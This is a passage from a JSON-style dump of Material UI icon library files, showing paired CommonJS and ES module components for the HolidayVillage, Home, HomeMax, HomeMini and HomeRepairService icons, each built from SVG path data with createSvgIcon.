    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20c.55 0 1-.45 1-1V8.76c0-.27-.11-.52-.29-.71l-3.76-3.76c-.19-.18-.44-.29-.71-.29-.89 0-1.34 1.08-.71 1.71l3.32 3.32c.1.09.15.22.15.35V19c0 .55.45 1 1 1m4 0c.55 0 1-.45 1-1V7.11c0-.26-.11-.52-.29-.71l-2.1-2.11c-.19-.18-.45-.29-.71-.29-.9 0-1.34 1.08-.71 1.71l1.67 1.67c.09.09.14.22.14.35V19c0 .55.45 1 1 1M8 15c.55 0 1 .45 1 1v4h4c.55 0 1-.45 1-1v-8.59c0-.27-.11-.52-.29-.71l-5-5a.996.996 0 0 0-1.41 0l-5 5c-.19.19-.3.45-.3.71V19c0 .55.45 1 1 1h4v-4c0-.55.45-1 1-1m0-2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'HolidayVillageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20c.55 0 1-.45 1-1V8.76c0-.27-.11-.52-.29-.71l-3.76-3.76c-.19-.18-.44-.29-.71-.29-.89 0-1.34 1.08-.71 1.71l3.32 3.32c.1.09.15.22.15.35V19c0 .55.45 1 1 1m4 0c.55 0 1-.45 1-1V7.11c0-.26-.11-.52-.29-.71l-2.1-2.11c-.19-.18-.45-.29-.71-.29-.9 0-1.34 1.08-.71 1.71l1.67 1.67c.09.09.14.22.14.35V19c0 .55.45 1 1 1M8 15c.55 0 1 .45 1 1v4h4c.55 0 1-.45 1-1v-8.59c0-.27-.11-.52-.29-.71l-5-5a.996.996 0 0 0-1.41 0l-5 5c-.19.19-.3.45-.3.71V19c0 .55.45 1 1 1h4v-4c0-.55.45-1 1-1m0-2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'HolidayVillageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20V8.35L13.65 4h-2.83L16 9.18V20zm4 0V6.69L19.31 4h-2.83L20 7.52V20zM8 4l-6 6v10h5v-5h2v5h5V10zm1 9H7v-2h2z\"\n}), 'HolidayVillageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20V8.35L13.65 4h-2.83L16 9.18V20zm4 0V6.69L19.31 4h-2.83L20 7.52V20zM8 4l-6 6v10h5v-5h2v5h5V10zm1 9H7v-2h2z\"\n}), 'HolidayVillageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 6.83-4 4V18h3v-3h2v3h3v-7.17zM9 13H7v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 4-6 6v10h12V10zm4 14H9v-3H7v3H4v-7.17l4-4 4 4zm-3-5H7v-2h2zm9 7V8.35L13.65 4h-2.83L16 9.18V20zm4 0V6.69L19.31 4h-2.83L20 7.52V20z\"\n}, \"1\")], 'HolidayVillageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HolidayVillageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 6.83-4 4V18h3v-3h2v3h3v-7.17zM9 13H7v-2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 4-6 6v10h12V10zm4 14H9v-3H7v3H4v-7.17l4-4 4 4zm-3-5H7v-2h2zm9 7V8.35L13.65 4h-2.83L16 9.18V20zm4 0V6.69L19.31 4h-2.83L20 7.52V20z\"\n}, \"1\")], 'HolidayVillageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Home.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\"\n}), 'Home');"
  },
  {
    "path": "packages/mui-icons-material/lib/Home.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\"\n}), 'Home');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h5v-7h6v7h5V9z\"\n}), 'HomeFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h5v-7h6v7h5V9z\"\n}), 'HomeFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMax.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2v1h10v-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}), 'HomeMax');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMax.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2v1h10v-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}), 'HomeMax');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMaxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2v1h10v-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}), 'HomeMaxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMaxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2v1h10v-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}), 'HomeMaxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMaxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2c0 .55.45 1 1 1h8c.55 0 1-.45 1-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}), 'HomeMaxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMaxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2c0 .55.45 1 1 1h8c.55 0 1-.45 1-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}), 'HomeMaxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMaxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2v1h10v-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}), 'HomeMaxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMaxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2v1h10v-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}), 'HomeMaxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMaxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2v1h10v-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}, \"1\")], 'HomeMaxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMaxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5C2.79 5 1 6.79 1 9v5c0 2.21 1.79 4 4 4h2v1h10v-1h2c2.21 0 4-1.79 4-4V9c0-2.21-1.79-4-4-4m2 9c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2z\"\n}, \"1\")], 'HomeMaxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMini.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m0 2c7.64 0 7.99 4.51 8 5H4c0-.2.09-5 8-5m2.86 10H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3\"\n}), 'HomeMini');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMini.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m0 2c7.64 0 7.99 4.51 8 5H4c0-.2.09-5 8-5m2.86 10H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3\"\n}), 'HomeMini');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMiniOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m0 2c7.64 0 7.99 4.51 8 5H4c0-.2.09-5 8-5m2.86 10H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3\"\n}), 'HomeMiniOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMiniOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m0 2c7.64 0 7.99 4.51 8 5H4c0-.2.09-5 8-5m2.86 10H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3\"\n}), 'HomeMiniOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMiniRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m0 2c7.64 0 7.99 4.51 8 5H4c0-.2.09-5 8-5m2.86 10H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3\"\n}), 'HomeMiniRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMiniRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m0 2c7.64 0 7.99 4.51 8 5H4c0-.2.09-5 8-5m2.86 10H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3\"\n}), 'HomeMiniRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMiniSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m0 2c7.64 0 7.99 4.51 8 5H4c0-.2.09-5 8-5m2.86 10H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3\"\n}), 'HomeMiniSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMiniSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m0 2c7.64 0 7.99 4.51 8 5H4c0-.2.09-5 8-5m2.86 10H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3\"\n}), 'HomeMiniSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMiniTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-7.91 0-8 4.8-8 5h16c-.01-.49-.36-5-8-5M9.14 17h5.72c2.1 0 3.92-1.24 4.71-3H4.42c.8 1.76 2.62 3 4.72 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m2.86 12H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3M4 12c0-.2.09-5 8-5 7.64 0 7.99 4.51 8 5z\"\n}, \"1\")], 'HomeMiniTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeMiniTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-7.91 0-8 4.8-8 5h16c-.01-.49-.36-5-8-5M9.14 17h5.72c2.1 0 3.92-1.24 4.71-3H4.42c.8 1.76 2.62 3 4.72 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5C4.19 5 2 9.48 2 12c0 3.86 3.13 7 6.99 7h6.02C17.7 19 22 16.92 22 12c0 0 0-7-10-7m2.86 12H9.14c-2.1 0-3.92-1.24-4.71-3h15.15c-.8 1.76-2.62 3-4.72 3M4 12c0-.2.09-5 8-5 7.64 0 7.99 4.51 8 5z\"\n}, \"1\")], 'HomeMiniTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.69 5 4.5V18h-2v-6H9v6H7v-7.81zM12 3 2 12h3v8h6v-6h2v6h6v-8h3z\"\n}), 'HomeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.69 5 4.5V18h-2v-6H9v6H7v-7.81zM12 3 2 12h3v8h6v-6h2v6h6v-8h3z\"\n}), 'HomeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairService.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16h-2v-1H8v1H6v-1H2v5h20v-5h-4zm2-8h-3V6c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v4h4v-2h2v2h8v-2h2v2h4v-4c0-1.1-.9-2-2-2m-5 0H9V6h6z\"\n}), 'HomeRepairService');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairService.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16h-2v-1H8v1H6v-1H2v5h20v-5h-4zm2-8h-3V6c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v4h4v-2h2v2h8v-2h2v2h4v-4c0-1.1-.9-2-2-2m-5 0H9V6h6z\"\n}), 'HomeRepairService');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairServiceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-3V6c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v10h20V10c0-1.1-.9-2-2-2M9 6h6v2H9zm11 12H4v-3h2v1h2v-1h8v1h2v-1h2zm-2-5v-1h-2v1H8v-1H6v1H4v-3h16v3z\"\n}), 'HomeRepairServiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairServiceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-3V6c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v10h20V10c0-1.1-.9-2-2-2M9 6h6v2H9zm11 12H4v-3h2v1h2v-1h8v1h2v-1h2zm-2-5v-1h-2v1H8v-1H6v1H4v-3h16v3z\"\n}), 'HomeRepairServiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HomeRepairServiceRounded.js",
